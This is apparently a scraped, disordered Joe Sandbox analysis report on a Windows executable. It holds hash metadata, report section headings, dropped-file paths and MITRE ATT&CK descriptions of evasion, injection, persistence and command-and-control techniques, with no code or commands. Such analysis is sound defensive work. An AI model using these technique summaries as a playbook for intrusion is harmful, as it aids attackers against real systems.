N_^, xrefs: 00007FFD9B3A896A
N_^, xrefs: 00007FFD9B3A88C2
N_^, xrefs: 00007FFD9B3A897A
N_^, xrefs: 00007FFD9B3A8822
N_^, xrefs: 00007FFD9B3A8862

Memory Dump Source

Source File: 00000004.00000002.1977922263.00007FFD9B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b3a0000_powershell.jbxd

Similarity

API ID:
String ID: N_^$N_^$N_^$N_^$N_^
API String ID: 0-2528851458
Opcode ID: eed415c59cca680984539fcee852455a9e808a1c2b17b575640b7e089e05dbfd
Instruction ID: 72d1aedf3a379075adb7563b7dba74cb4d033c7d4a17abd9904427619c7f1752
Opcode Fuzzy Hash: eed415c59cca680984539fcee852455a9e808a1c2b17b575640b7e089e05dbfd
Instruction Fuzzy Hash: CF51ED53E0F6DA1EF776B2A95CB54A47F90AF12A5475A02FFC0E48A0E3ED0C35468212

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. Within MFT entries are file attributes, such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report T1#U52a9#U624b1.0.1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$WINDOWS.~BT\Sources\Panther\diagerr.xml

C:\$WINDOWS.~BT\Sources\Panther\diagwrn.xml

C:\$WINDOWS.~BT\Sources\Panther\setupact.log

C:\$WINDOWS.~BT\Sources\SetupPlatform.ini

C:\$Windows.~WS\Sources\DU.dll

C:\$Windows.~WS\Sources\DiagTrack.dll

C:\$Windows.~WS\Sources\DiagTrackRunner.exe

C:\$Windows.~WS\Sources\Diager.dll

C:\$Windows.~WS\Sources\MediaSetupUIMgr.dll

C:\$Windows.~WS\Sources\Panther\DlTel-Merge.etl

C:\$Windows.~WS\Sources\Panther\Eula.rtf

C:\$Windows.~WS\Sources\Panther\diagerr.xml

C:\$Windows.~WS\Sources\Panther\diagwrn.xml

C:\$Windows.~WS\Sources\Panther\setupact.log

Windows Analysis Report
T1#U52a9#U624b1.0.1.exe

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre